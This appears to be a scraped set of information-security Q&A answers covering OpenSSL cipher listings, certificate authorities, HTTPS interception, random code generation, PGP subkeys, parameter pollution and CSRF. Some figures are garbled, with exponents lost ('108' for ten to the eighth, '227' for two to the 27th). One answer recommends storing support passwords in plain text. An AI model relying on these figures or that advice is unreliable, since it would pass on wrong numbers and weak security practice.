0xC0,0x15 - AECDH-NULL-SHA          SSLv3 Kx=ECDH     Au=None Enc=None      Mac=SHA1
0xC0,0x17 - AECDH-DES-CBC3-SHA      SSLv3 Kx=ECDH     Au=None Enc=3DES(168) Mac=SHA1
0xC0,0x18 - AECDH-AES128-SHA        SSLv3 Kx=ECDH     Au=None Enc=AES(128)  Mac=SHA1
0xC0,0x19 - AECDH-AES256-SHA        SSLv3 Kx=ECDH     Au=None Enc=AES(256)  Mac=SHA1
0xC0,0x1A - SRP-3DES-EDE-CBC-SHA    SSLv3 Kx=SRP      Au=SRP  Enc=3DES(168) Mac=SHA1
0xC0,0x1B - SRP-RSA-3DES-EDE-CBC-SHA SSLv3 Kx=SRP      Au=RSA  Enc=3DES(168) Mac=SHA1
0xC0,0x1C - SRP-DSS-3DES-EDE-CBC-SHA SSLv3 Kx=SRP      Au=DSS  Enc=3DES(168) Mac=SHA1
0xC0,0x1D - SRP-AES-128-CBC-SHA     SSLv3 Kx=SRP      Au=SRP  Enc=AES(128)  Mac=SHA1
0xC0,0x1E - SRP-RSA-AES-128-CBC-SHA SSLv3 Kx=SRP      Au=RSA  Enc=AES(128)  Mac=SHA1
0xC0,0x1F - SRP-DSS-AES-128-CBC-SHA SSLv3 Kx=SRP      Au=DSS  Enc=AES(128)  Mac=SHA1
0xC0,0x20 - SRP-AES-256-CBC-SHA     SSLv3 Kx=SRP      Au=SRP  Enc=AES(256)  Mac=SHA1
0xC0,0x21 - SRP-RSA-AES-256-CBC-SHA SSLv3 Kx=SRP      Au=RSA  Enc=AES(256)  Mac=SHA1
0xC0,0x22 - SRP-DSS-AES-256-CBC-SHA SSLv3 Kx=SRP      Au=DSS  Enc=AES(256)  Mac=SHA1
0xC0,0x34 - ECDHE-PSK-3DES-EDE-CBC-SHA SSLv3 Kx=ECDHEPSK Au=PSK  Enc=3DES(168) Mac=SHA1
0xC0,0x35 - ECDHE-PSK-AES128-CBC-SHA SSLv3 Kx=ECDHEPSK Au=PSK  Enc=AES(128)  Mac=SHA1
0xC0,0x36 - ECDHE-PSK-AES256-CBC-SHA SSLv3 Kx=ECDHEPSK Au=PSK  Enc=AES(256)  Mac=SHA1
0xC0,0x39 - ECDHE-PSK-NULL-SHA      SSLv3 Kx=ECDHEPSK Au=PSK  Enc=None      Mac=SHA1

TLSv1
$ ./openssl ciphers -V 'ALL:COMPLEMENTOFALL' | sort | grep ' TLSv1 '
0x00,0xAE - PSK-AES128-CBC-SHA256   TLSv1 Kx=PSK      Au=PSK  Enc=AES(128)  Mac=SHA256
0x00,0xAF - PSK-AES256-CBC-SHA384   TLSv1 Kx=PSK      Au=PSK  Enc=AES(256)  Mac=SHA384
0x00,0xB0 - PSK-NULL-SHA256         TLSv1 Kx=PSK      Au=PSK  Enc=None      Mac=SHA256
0x00,0xB1 - PSK-NULL-SHA384         TLSv1 Kx=PSK      Au=PSK  Enc=None      Mac=SHA384
0x00,0xB2 - DHE-PSK-AES128-CBC-SHA256 TLSv1 Kx=DHEPSK   Au=PSK  Enc=AES(128)  Mac=SHA256
0x00,0xB3 - DHE-PSK-AES256-CBC-SHA384 TLSv1 Kx=DHEPSK   Au=PSK  Enc=AES(256)  Mac=SHA384
0x00,0xB4 - DHE-PSK-NULL-SHA256     TLSv1 Kx=DHEPSK   Au=PSK  Enc=None      Mac=SHA256
0x00,0xB5 - DHE-PSK-NULL-SHA384     TLSv1 Kx=DHEPSK   Au=PSK  Enc=None      Mac=SHA384
0x00,0xB6 - RSA-PSK-AES128-CBC-SHA256 TLSv1 Kx=RSAPSK   Au=RSA  Enc=AES(128)  Mac=SHA256
0x00,0xB7 - RSA-PSK-AES256-CBC-SHA384 TLSv1 Kx=RSAPSK   Au=RSA  Enc=AES(256)  Mac=SHA384
0x00,0xB8 - RSA-PSK-NULL-SHA256     TLSv1 Kx=RSAPSK   Au=RSA  Enc=None      Mac=SHA256
0x00,0xB9 - RSA-PSK-NULL-SHA384     TLSv1 Kx=RSAPSK   Au=RSA  Enc=None      Mac=SHA384
0xC0,0x37 - ECDHE-PSK-AES128-CBC-SHA256 TLSv1 Kx=ECDHEPSK Au=PSK  Enc=AES(128)  Mac=SHA256
0xC0,0x38 - ECDHE-PSK-AES256-CBC-SHA384 TLSv1 Kx=ECDHEPSK Au=PSK  Enc=AES(256)  Mac=SHA384
0xC0,0x3A - ECDHE-PSK-NULL-SHA256   TLSv1 Kx=ECDHEPSK Au=PSK  Enc=None      Mac=SHA256
0xC0,0x3B - ECDHE-PSK-NULL-SHA384   TLSv1 Kx=ECDHEPSK Au=PSK  Enc=None      Mac=SHA384
0xC0,0x94 - PSK-CAMELLIA128-SHA256  TLSv1 Kx=PSK      Au=PSK  Enc=Camellia(128) Mac=SHA256
0xC0,0x95 - PSK-CAMELLIA256-SHA384  TLSv1 Kx=PSK      Au=PSK  Enc=Camellia(256) Mac=SHA384
0xC0,0x96 - DHE-PSK-CAMELLIA128-SHA256 TLSv1 Kx=DHEPSK   Au=PSK  Enc=Camellia(128) Mac=SHA256
0xC0,0x97 - DHE-PSK-CAMELLIA256-SHA384 TLSv1 Kx=DHEPSK   Au=PSK  Enc=Camellia(256) Mac=SHA384
0xC0,0x98 - RSA-PSK-CAMELLIA128-SHA256 TLSv1 Kx=RSAPSK   Au=RSA  Enc=Camellia(128) Mac=SHA256
0xC0,0x99 - RSA-PSK-CAMELLIA256-SHA384 TLSv1 Kx=RSAPSK   Au=RSA  Enc=Camellia(256) Mac=SHA384
0xC0,0x9A - ECDHE-PSK-CAMELLIA128-SHA256 TLSv1 Kx=ECDHEPSK Au=PSK  Enc=Camellia(128) Mac=SHA256
0xC0,0x9B - ECDHE-PSK-CAMELLIA256-SHA384 TLSv1 Kx=ECDHEPSK Au=PSK  Enc=Camellia(256) Mac=SHA384

TLS1.2
$ ./openssl ciphers -V 'ALL:COMPLEMENTOFALL' | sort | grep ' TLSv1.2 '
0x00,0x3B - NULL-SHA256             TLSv1.2 Kx=RSA      Au=RSA  Enc=None      Mac=SHA256
0x00,0x3C - AES128-SHA256           TLSv1.2 Kx=RSA      Au=RSA  Enc=AES(128)  Mac=SHA256
0x00,0x3D - AES256-SHA256           TLSv1.2 Kx=RSA      Au=RSA  Enc=AES(256)  Mac=SHA256
0x00,0x40 - DHE-DSS-AES128-SHA256   TLSv1.2 Kx=DH       Au=DSS  Enc=AES(128)  Mac=SHA256
0x00,0x67 - DHE-RSA-AES128-SHA256   TLSv1.2 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA256
0x00,0x6A - DHE-DSS-AES256-SHA256   TLSv1.2 Kx=DH       Au=DSS  Enc=AES(256)  Mac=SHA256
0x00,0x6B - DHE-RSA-AES256-SHA256   TLSv1.2 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA256
0x00,0x6C - ADH-AES128-SHA256       TLSv1.2 Kx=DH       Au=None Enc=AES(128)  Mac=SHA256
0x00,0x6D - ADH-AES256-SHA256       TLSv1.2 Kx=DH       Au=None Enc=AES(256)  Mac=SHA256
0x00,0x9C - AES128-GCM-SHA256       TLSv1.2 Kx=RSA      Au=RSA  Enc=AESGCM(128) Mac=AEAD
0x00,0x9D - AES256-GCM-SHA384       TLSv1.2 Kx=RSA      Au=RSA  Enc=AESGCM(256) Mac=AEAD
0x00,0x9E - DHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(128) Mac=AEAD
0x00,0x9F - DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(256) Mac=AEAD
0x00,0xA2 - DHE-DSS-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(128) Mac=AEAD
0x00,0xA3 - DHE-DSS-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(256) Mac=AEAD
0x00,0xA6 - ADH-AES128-GCM-SHA256   TLSv1.2 Kx=DH       Au=None Enc=AESGCM(128) Mac=AEAD
0x00,0xA7 - ADH-AES256-GCM-SHA384   TLSv1.2 Kx=DH       Au=None Enc=AESGCM(256) Mac=AEAD
0x00,0xA8 - PSK-AES128-GCM-SHA256   TLSv1.2 Kx=PSK      Au=PSK  Enc=AESGCM(128) Mac=AEAD
0x00,0xA9 - PSK-AES256-GCM-SHA384   TLSv1.2 Kx=PSK      Au=PSK  Enc=AESGCM(256) Mac=AEAD
0x00,0xAA - DHE-PSK-AES128-GCM-SHA256 TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESGCM(128) Mac=AEAD
0x00,0xAB - DHE-PSK-AES256-GCM-SHA384 TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESGCM(256) Mac=AEAD
0x00,0xAC - RSA-PSK-AES128-GCM-SHA256 TLSv1.2 Kx=RSAPSK   Au=RSA  Enc=AESGCM(128) Mac=AEAD
0x00,0xAD - RSA-PSK-AES256-GCM-SHA384 TLSv1.2 Kx=RSAPSK   Au=RSA  Enc=AESGCM(256) Mac=AEAD
0x00,0xBA - CAMELLIA128-SHA256      TLSv1.2 Kx=RSA      Au=RSA  Enc=Camellia(128) Mac=SHA256
0x00,0xBD - DHE-DSS-CAMELLIA128-SHA256 TLSv1.2 Kx=DH       Au=DSS  Enc=Camellia(128) Mac=SHA256
0x00,0xBE - DHE-RSA-CAMELLIA128-SHA256 TLSv1.2 Kx=DH       Au=RSA  Enc=Camellia(128) Mac=SHA256
0x00,0xBF - ADH-CAMELLIA128-SHA256  TLSv1.2 Kx=DH       Au=None Enc=Camellia(128) Mac=SHA256
0x00,0xC0 - CAMELLIA256-SHA256      TLSv1.2 Kx=RSA      Au=RSA  Enc=Camellia(256) Mac=SHA256
0x00,0xC3 - DHE-DSS-CAMELLIA256-SHA256 TLSv1.2 Kx=DH       Au=DSS  Enc=Camellia(256) Mac=SHA256
0x00,0xC4 - DHE-RSA-CAMELLIA256-SHA256 TLSv1.2 Kx=DH       Au=RSA  Enc=Camellia(256) Mac=SHA256
0x00,0xC5 - ADH-CAMELLIA256-SHA256  TLSv1.2 Kx=DH       Au=None Enc=Camellia(256) Mac=SHA256
0xC0,0x23 - ECDHE-ECDSA-AES128-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AES(128)  Mac=SHA256
0xC0,0x24 - ECDHE-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA384
0xC0,0x27 - ECDHE-RSA-AES128-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA256
0xC0,0x28 - ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA384
0xC0,0x2B - ECDHE-ECDSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(128) Mac=AEAD
0xC0,0x2C - ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(256) Mac=AEAD
0xC0,0x2F - ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(128) Mac=AEAD
0xC0,0x30 - ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
0xC0,0x72 - ECDHE-ECDSA-CAMELLIA128-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=Camellia(128) Mac=SHA256
0xC0,0x73 - ECDHE-ECDSA-CAMELLIA256-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=Camellia(256) Mac=SHA384
0xC0,0x76 - ECDHE-RSA-CAMELLIA128-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=Camellia(128) Mac=SHA256
0xC0,0x77 - ECDHE-RSA-CAMELLIA256-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=Camellia(256) Mac=SHA384
0xC0,0x9C - AES128-CCM              TLSv1.2 Kx=RSA      Au=RSA  Enc=AESCCM(128) Mac=AEAD
0xC0,0x9D - AES256-CCM              TLSv1.2 Kx=RSA      Au=RSA  Enc=AESCCM(256) Mac=AEAD
0xC0,0x9E - DHE-RSA-AES128-CCM      TLSv1.2 Kx=DH       Au=RSA  Enc=AESCCM(128) Mac=AEAD
0xC0,0x9F - DHE-RSA-AES256-CCM      TLSv1.2 Kx=DH       Au=RSA  Enc=AESCCM(256) Mac=AEAD
0xC0,0xA0 - AES128-CCM8             TLSv1.2 Kx=RSA      Au=RSA  Enc=AESCCM8(128) Mac=AEAD
0xC0,0xA1 - AES256-CCM8             TLSv1.2 Kx=RSA      Au=RSA  Enc=AESCCM8(256) Mac=AEAD
0xC0,0xA2 - DHE-RSA-AES128-CCM8     TLSv1.2 Kx=DH       Au=RSA  Enc=AESCCM8(128) Mac=AEAD
0xC0,0xA3 - DHE-RSA-AES256-CCM8     TLSv1.2 Kx=DH       Au=RSA  Enc=AESCCM8(256) Mac=AEAD
0xC0,0xA4 - PSK-AES128-CCM          TLSv1.2 Kx=PSK      Au=PSK  Enc=AESCCM(128) Mac=AEAD
0xC0,0xA5 - PSK-AES256-CCM          TLSv1.2 Kx=PSK      Au=PSK  Enc=AESCCM(256) Mac=AEAD
0xC0,0xA6 - DHE-PSK-AES128-CCM      TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESCCM(128) Mac=AEAD
0xC0,0xA7 - DHE-PSK-AES256-CCM      TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESCCM(256) Mac=AEAD
0xC0,0xA8 - PSK-AES128-CCM8         TLSv1.2 Kx=PSK      Au=PSK  Enc=AESCCM8(128) Mac=AEAD
0xC0,0xA9 - PSK-AES256-CCM8         TLSv1.2 Kx=PSK      Au=PSK  Enc=AESCCM8(256) Mac=AEAD
0xC0,0xAA - DHE-PSK-AES128-CCM8     TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESCCM8(128) Mac=AEAD
0xC0,0xAB - DHE-PSK-AES256-CCM8     TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=AESCCM8(256) Mac=AEAD
0xC0,0xAC - ECDHE-ECDSA-AES128-CCM  TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESCCM(128) Mac=AEAD
0xC0,0xAD - ECDHE-ECDSA-AES256-CCM  TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESCCM(256) Mac=AEAD
0xC0,0xAE - ECDHE-ECDSA-AES128-CCM8 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESCCM8(128) Mac=AEAD
0xC0,0xAF - ECDHE-ECDSA-AES256-CCM8 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESCCM8(256) Mac=AEAD
0xCC,0xA8 - ECDHE-RSA-CHACHA20-POLY1305 TLSv1.2 Kx=ECDH     Au=RSA  Enc=CHACHA20/POLY1305(256) Mac=AEAD
0xCC,0xA9 - ECDHE-ECDSA-CHACHA20-POLY1305 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=CHACHA20/POLY1305(256) Mac=AEAD
0xCC,0xAA - DHE-RSA-CHACHA20-POLY1305 TLSv1.2 Kx=DH       Au=RSA  Enc=CHACHA20/POLY1305(256) Mac=AEAD
0xCC,0xAB - PSK-CHACHA20-POLY1305   TLSv1.2 Kx=PSK      Au=PSK  Enc=CHACHA20/POLY1305(256) Mac=AEAD
0xCC,0xAC - ECDHE-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=ECDHEPSK Au=PSK  Enc=CHACHA20/POLY1305(256) Mac=AEAD
0xCC,0xAD - DHE-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=DHEPSK   Au=PSK  Enc=CHACHA20/POLY1305(256) Mac=AEAD
0xCC,0xAE - RSA-PSK-CHACHA20-POLY1305 TLSv1.2 Kx=RSAPSK   Au=RSA  Enc=CHACHA20/POLY1305(256) Mac=AEAD

Couldn't get IANA-file to parse.
This here was my initial attempt to break this down by version. Not good to read.
This is a breakdown by the column in the CSV-file that points to the defining document. Unfortunately they do not align nicely with the individual protocol versions. (Manually annotated by me after the # hash mark.) Also: TLSv1.0 (RFC2246) is not even listed.
$ lynx --dump https://www.iana.org/assignments/tls-parameters/tls-parameters-4.csv | sed 's_^[^[][^[]*\[_\[_p' -n | sort | uniq -c
      1 [Pasi Eronen, <pasi.eronen&nokia.com>, 2008-04-04.  2008-04-04]"
      4 [Pasi_Eronen]
     10 [RFC2712]
      4 [RFC2712][RFC6347]
      6 [RFC4162]
      9 [RFC4279]
      3 [RFC4279][RFC6347]
      7 [RFC4346]   # <- TLS 1.1
      2 [RFC4346][RFC6347]
     20 [RFC4492]
      5 [RFC4492][RFC6347]
      3 [RFC4785]
      9 [RFC5054]
     36 [RFC5246]   # <- TLS 1.2
      3 [RFC5246][RFC6347]
     12 [RFC5288]
     16 [RFC5289]
      7 [RFC5469]
     18 [RFC5487]
      8 [RFC5489]
      1 [RFC5489][RFC6347]
      1 [RFC5746]
     24 [RFC5932]
     54 [RFC6209]
     42 [RFC6367]
     16 [RFC6655]
      4 [RFC7251]
      1 [RFC7507]
      7 [RFC7905]


Is the StartCom tool safe to generate CSR and private keys?

StartCom is a legitimate certificate authority that is trusted by most all browsers and operating systems to issue certificates, so it is unlikely that any trustworthiness problems you are reading about are severe enough to put any data at risk (or else they would lose their trusted status).

Whether StartCom actually had access to your private key depends on how your private key was generated. If you generated them locally and uploaded a certificate signing request (CSR) as is usually recommended, then you should have nothing to worry about as a CSR only contains your public key, not your private. If you went for the less optimal approach of allowing StartCom to generate your key, then theoretically speaking they could have access to it if they had malicious intent. If you are worried, just get a new certificate using a self-generated CSR.

As an alternative to StartCom, you may wish to look at Let's Encrypt for free certificates.


SSL/TLS Certificate Authority supply policy

If you need to manage a significant number of certificates then running your own (snake-oil) CA saves a lot of headaches - you can authenticate against a single signing authority, and you can revoke certificates. But if non-repudiation is ever likely to be a concern, I'd suggest you might want to provide a mechanism for the customers to generate their own CSRs for you to sign - that way you're not in the position of having access to their private keys.


Hosting multiple websites on the same server - Prevention from DoS

You're using a single aggregated link, even though it's 4 way virtualised host. Up to a certain level, you cannot prevent dos attacks, so what you'll be trying to do is to keep the service up for legitimate users, and sinkhole everyone else.

This depends on the budget that you have on hand to do this, which in most small-medium enterprises is close to zero. Magic bullets are not possible and you'll need a layered solution in place.


Is there a convenient way for a CS representative to verify the caller's id without compromising security (too much)?

(For other searchers who are concerned about separate storage of the first three characters, the asker's other question about that technique here has some solid and detailed replies, explaining why extracting a subset of secret information like a login password may be suboptimal).

More generally, there are a couple of canonical ways to verify identity. Most involve asking the customer for information that both the customer and the company would usually only know:

Recent activity. For example, if it was a financial institution, you could ask them to describe the amount, merchant, and date of a recent transaction.
Credit history data. If your business has access to credit history information (loan types and amounts, previous addresses, etc.), you could leverage this information.
Account support password. Separate from the password used by the customer to access the services directly, you could simply have the customer supply (at signup) a password that will A) be stored on your servers in plain text, and B) only be used by customer service to verify the customer's identity.

You can also throw in, in addition to the above and selected at random, some other information that is naturally collected at signup and stored (address, birthdate, last four of SSN, etc.). For obvious reasons, these would only be used to supplement the questions above, and would need to be adjusted based on your business model.


Is it common practice for companies to MITM HTTPS traffic?

Is this common practice in big companies?

Yes. The feature is available in most enterprise firewalls and also several firewalls for smaller companies. It is even available in the free web proxy Squid. And several personal firewalls have implemented it too.

As more and more sites, (both harmless and harmful), move to https://, expect that the usage of SSL interception will increase too, because nobody likes to have a firewall which fails to protect a system because it is blind regarding encrypted traffic.

  Can someone point me to an ISO standard?

SSL interception just makes use of the existing SSL and PKI standards. There is no need to have a new standard which defines how SSL interception works.

As for the Cyber Security Standards: I'm not aware of any which explicitly require SSL interception, but I don't have much knowledge of these kind of standards. But even if it is not explicitly required it might be implicitly expected that you either block access to a SSL site or do SSL interception when the standard demands traffic monitoring.

  will give me a certificate error.

SSL interception needs you to trust the intercepting CA. In most companies these CA certificates are centrally managed and installed on all computers, but if you use a browser like Firefox it might not help because Firefox has its own CA store and does not use the systems CA store.

  To me this is hurting security in one area to help it in another.

Yes, it is breaking end-to-end encryption to detect malware and data leakage which use encrypted connections. But since the breakage of end-to-end encryption is done in full control of the company and you still have encryption to the outside world this is a trade off most companies are willing to take.

But note that in the past bugs were detected in several SSL interception products (like same CA between different companies, no revocation checks...) which additionally weakened the security.


Reducing crypto-random values to a useless entropy

There are exactly 108 = 100000000 possible sequences of eight digits. The best you can hope for is to select one of these with uniform probability.

The generic way would look like this (in pseudo C code):

for (;;) {
    unsigned char buf[4];
    uint32_t val;

    GetRandomBytesFromPRNG(buf, sizeof buf);
    val = (uint32_t)buf[0] | ((uint32_t)buf[1] << 8)
        | ((uint32_t)buf[2] << 16) | ((uint32_t)buf[3] << 24);
    val &= 0x07FFFFFF;
    if (val < 100000000) {
        return val; /* that's your code in the 8-digit range */
    }
}

Basically, we generate random values uniformly in the 0..227-1 range:

Produce four bytes.
Decode these into a 32-bit integer (here with big-endian convention, but that's arbitrary).
Truncate to a 27-bit integer.

Why 227 ? Because that's the smallest power of two which is greater than 100000000 (227 is equal to 134217728).

At that point, we have a value in the 0..134217727 range, with uniform probability. If it falls into my target range (0..99999999), then that's good, we have our value. Convert that into decimal to get your 8 digits. If the value does not fall in the range, then we try again. Probability of looping is 25.49% each time, so it converges quickly (less than one chance in a billion to loop more than 15 times).

This is the way things are done with Java's Random.nextInt(int). A counting argument can be used to show that it is not feasible to really reach a uniform selection without some kind of loop (namely, no power of 2 is a multiple of 108).

Alternate method: generate a big 160-bit integer, then divide it by 108; the remainder will be your 8-digit code. This method has a slight bias, but less than 2-128, so it is negligible. This method also guarantees a fixed amount of random bytes from your PRNG. However, computations on integers which do not fit in a machine register can be expensive, so this method will usually be less efficient than the loop above.

Remember that what you get as a "key" is hardly worth that name: enumerating all possible 8-digit sequences can be done in a fraction of a second. It will be hard to make some decent cryptography out of that. Such a code will nonetheless be quite good if used as, say, a one-time registration password.


How can I improve my sheep dipping process?

You could convert it using Linux, or FreeBSD, and OpenOffice.
Install a VM with Linux or FreeBSD, or any OS that isn't Windows and have a OpenOffice release. Share a folder between the VM and the host, and save the file there.
On the VM, open the file on OpenOffice, and save it on a different format. RTF is a good option because it is open, can be opened on a lot of editors, and both MS Word and OpenOffice can work on it, and will strip all macros and active content from the original document.
If the file don't need to be sent back on an editable format, you can use the Print to PDF function to generate a pdf file and send back to the user.


For some algorithms, subkeys are a technical necessity: for example DSA (the digital signing algorithm) can only be used for signing, and requires an additional encryption subkey (for example Elgamal). This is not true for RSA, which can be used for both signature and encryption.

Distinguishing between a primary key and subkeys has another reason: It allows to keep the (private) primary key as little exposed as required, only using it for key management operations like adding and revoking subkeys and user IDs, and certifying other's keys (this is the C capability printed in the output you provided).

By using subkeys, you could even make use of an offline primary key, which means you remove the private primary key from your default keyring, and keep it safely disconnect except for the rare circumstances you actually need it. Some people have it on thumb drives, others even use an old computer dedicated for this purpose.

Even if you don't do this: using the key might make it vulnerable to certain attacks. For example, DSA is vulnerable when used to sign reusing parameters. If you used a DSA key often (for example, for signing all your mail), you're much more likely to be catched by this issue and revealing your private primary key than if you only use it rarely for key management. Your private subkey would still be revealed -- but you can easily revoke it and create a new one, without losing your reputation in the OpenPGP web of trust, like you would when revoking your primary key. Another advantage is you might use different signing subkeys on different machines (and if one machine is hacked, you don't have to change all of them). This doesn't work out that well for encryption keys, though.


How can HTTP Parameter Pollution be exploited?

HTTP parameter pollution is an attack which exploits a different interpretation between parameter validation and parameter use. For example in case of foo=innocent&foo=some-sql-injection the validation inside a Web Application Firewall or inside the web application itself might extract the first value innocent as the parameter value and do some security checks on it. The actual use of this parameter inside the web application might though take the second value some-sql-injection instead.

The attack pattern of exploiting interpretation differences is not unique to HTTP parameter pollution. It can be for example done with HTTP header fields (which Content-length header is the correct when two are given?) as in HTTP cache poisoning or HTTP smuggling or with XML signatures in XML signature wrapping attacks.


Is it probable that a penetration tester can eventually become a good malware analyst?

Yes, I am currently in transition from a primary penetration-testing skillset towards a Data Forensics and Incident Response (DFIR) skillset which includes Malware Analysis.

My background in network engineering has helped me with tools such as Malcom, for analyzing C2, but also with configurations of automated malware analysis solutions, such as Palo Alto Networks WildFire/AutoFocus as well as FireEye and LastLine.

A strong Linux, Windows, and macOS background will also help when extracting the features and behavior of malware with tools such as Cuckoo Sandbox and its cloud implementation, Malwr. (Update 09/26/2017): Here are some interesting links for going back-and forth from a pentester position to a responder position --

http://digitalizedwarfare.com/2016/03/24/sandbox-stories-flight-of-the-great-cuckoo-bird/
https://infosecspeakeasy.org/t/howto-build-a-cuckoo-sandbox/27
https://bdavis-cybersecurity.blogspot.com/2016/12/cuckoo-sandbox-installation-part-4-of-4.html
https://byte-atlas.blogspot.com/2017/02/hardening-vbox-win7x64.html
https://github.com/AlicanAkyol/sems
https://github.com/hfiref0x/VBoxHardenedLoader
https://github.com/LordNoteworthy/al-khaser (N.B., benchmark your defenses with some attacks!!!)
https://github.com/a0rtega/pafish

Most-importantly, learning DFIR has aided at improving my pentesting tradecraft as well. If I know what to detect, then I know how to counter that detection! For example, the course I recently took at the DerbyCon Training: Advanced PowerShell for Blue and Red Teams -- helped quite significantly for hiding shares (but then detecting them with the MountPoints2 registry key) but then using other protocols such as WMI, WinRM, or PS Remoting to hide in plain sight on the network.

Learning some forensics techniques has also helped my pentesting in a variety of ways. For example, the other week I used a network-block device userland server (nbd-server) to access a disk remotely with the nbd driver and nbd-client in order to run a localized cvechecker.

Get the two books: Learning Network Forensics, and also, Windows Malware Analysis Essentials. Practice using the -- https://github.com/jonschipp/ISLET -- training environments, especially with Bro. There are many great resources but these will fast-track you.


Employer stores plain text personal data in a 'data warehouse'

When your organization is subject to the GDPR, then it should have a designated Data Protection Officer. This person is responsible for ensuring that data protection laws are applied within the organization.

This should be the first place to report to.


Limit access to shares on fileserver based on client subnet

You cannot configure access to individual shares by IP ranges, the most you can do is limit access to SMB as a whole. For that, you can Use Windows Firewall with Advanced Security to modify the scope of the File and Printer Sharing rule (SMB-in) for the appropriate network profile to allow inbound SMB connections specifically from the appropriate subnets Why not use user groups though ? Separate user group for each subnet and assign them proper access.


How to scan a list of RPM files for publicly declared (CVE) vulnerabilities?

I think  you need to be clearer about what you mean by "scan for vulnerabilities".

If you mean search the CVE database on NIST for known CVEs that relate to the specific software that the RPM package delivers, then presumably you just want a script which will take the software name of each RPM and search for it.

If you want something that will try to find the actual flaws in the software that's obviously much harder and probably not viable to be honest.


How can I check if my second hand Apple wireless keyboard contains a keylogger?

This would be practically impossible. Off course, you could open it up and see if there's any strange looking components who doesn't seem to belong there. But how would one tell what's legitimate and what's not? Plus, the keylogger could be in the firmware, meaning it's not hardware and can't be seen directly.

That it's a Bluetooth keyboard makes the situation a bit special. An ordinary hardware keylogger would probably be attached to the cable going from the circuit board out of the keyboard. That makes it a bit easier to detect. But you can't install something like that on a wireless keyborad since there is no cable. That makes it much harder to install a keylogger, but also much harder to detect one if it's installed.

But in the end, the likelihood that your second hand keyboard would contain malware is small. Unless you have some specific reason to believe you may be under a serious targeted attack, you probably shouldn't worry to much about it. Chanses are there are bigger risks elsewhere to care about first.

But if the risk do bother you, your best bet is to by a new keyboard rather than examining the second hand one.

TL;DR: You can't really check if it's been keylogged, but in practice you don't really need to anyway.


Yes, it is insecure to use http instead of https because it can be attacked  by man-in-the-middle, by DNS spoofing or in other ways, so you get the wrong key and also wrong software. Checking the fingerprint of the key would not help either unless you got the fingerprint by https.

And while it would be better to use https, it would not mean that TLS provides full security. All it provides is security of the transport which means:

You need still to trust the site itself. How to you know that this site does not intent to serve malware to you? Where did you get the information about the site from? How trustworthy was the person/site providing this information and was the transport protected by https?
You need to trust the security of the site. It might be hacked and serve wrong key and software.
You need to trust the author or distributor of the software that it does not contain any bugs or even backdoors.
...

Given that hacking a site or setting up a similar looking phishing site (which might use TLS too) is often easier than mounting a man-in-the-middle attack you should ask yourself if using TLS would be enough to provide the level of security you need.


Is it dangerous to install my work's 802.1x certificate?

This is definitely not a Root CA since the website specifically says :

  Verify that the certificate is for dot1x.utexas.edu and lists GeoTrust CA as the issuer.

The certificate purpose is to be used for the radius authentication for the wireless network of the university (more on Apple radius certificate)

Not being a root CA, they cannot MitM any https website provided you don't ignore security warning messages.


Why should password reset link be single use?

The threat that is being mitigated by the single use is that someone else uses (or re-uses) the url to reset the password.

If the url does not work, apparently someone has intercepted the mail and you know someone else has the password
If the url is used normally, you no longer need to worry that someone else uses the same link to (re-)appropriate the account.

A short period of time also mitigates this threat, but less effectively. For example: if the URL is valid for an hour, and you changed your password directly after receiving the URL, there is still a one hour time slot where a miscreant could abuse the link. To be absolutely sure that the link would not be re-used, you would have to re-login after the time-out.
Whether it is OK depends quite a bit on the application. It would not bother me for a registration that is required for downloading a whitepaper, but for my bank, I really want the one-time-use.


Do I still need CSRF protection when SameSite is set to Lax?

You still need "traditional" CSRF-protection. Maybe this will change in the years to come, but as of writing the SameSite attribute should be viewed more as defense in depth than your one and only line of defence. This is for a few reasons:

According to caniuse.com, there is currently only browser support for 85% or 92% (if you count partial support) of global users. For instance IE 11 on Windows 8 (still used in many offices around the world) doesn't support it, and neither does the UC Browser on Android.
Relying on browsers to auto upgrade to Lax is even worse, since not all supporting browsers do this. I don't have any numbers, though. But at the very least, you need to explicitly set the flag.
Do you really trust all current and future developers of your application to never change server state on a GET request? I wouldn't do so - I would not even trust myself. If you want to rely on SameSite, set it to Strict.
If you do not trust your subdomains, SameSite will not help you. See this great article by jub0bs.
As I write in this answer (second bullet point) there are some cases where you will always need a traditional CSRF-defence.

TL;DR: Just the SameSite flag is not enough to protect your users from CSRF.


X.509 certificate policy mapping question

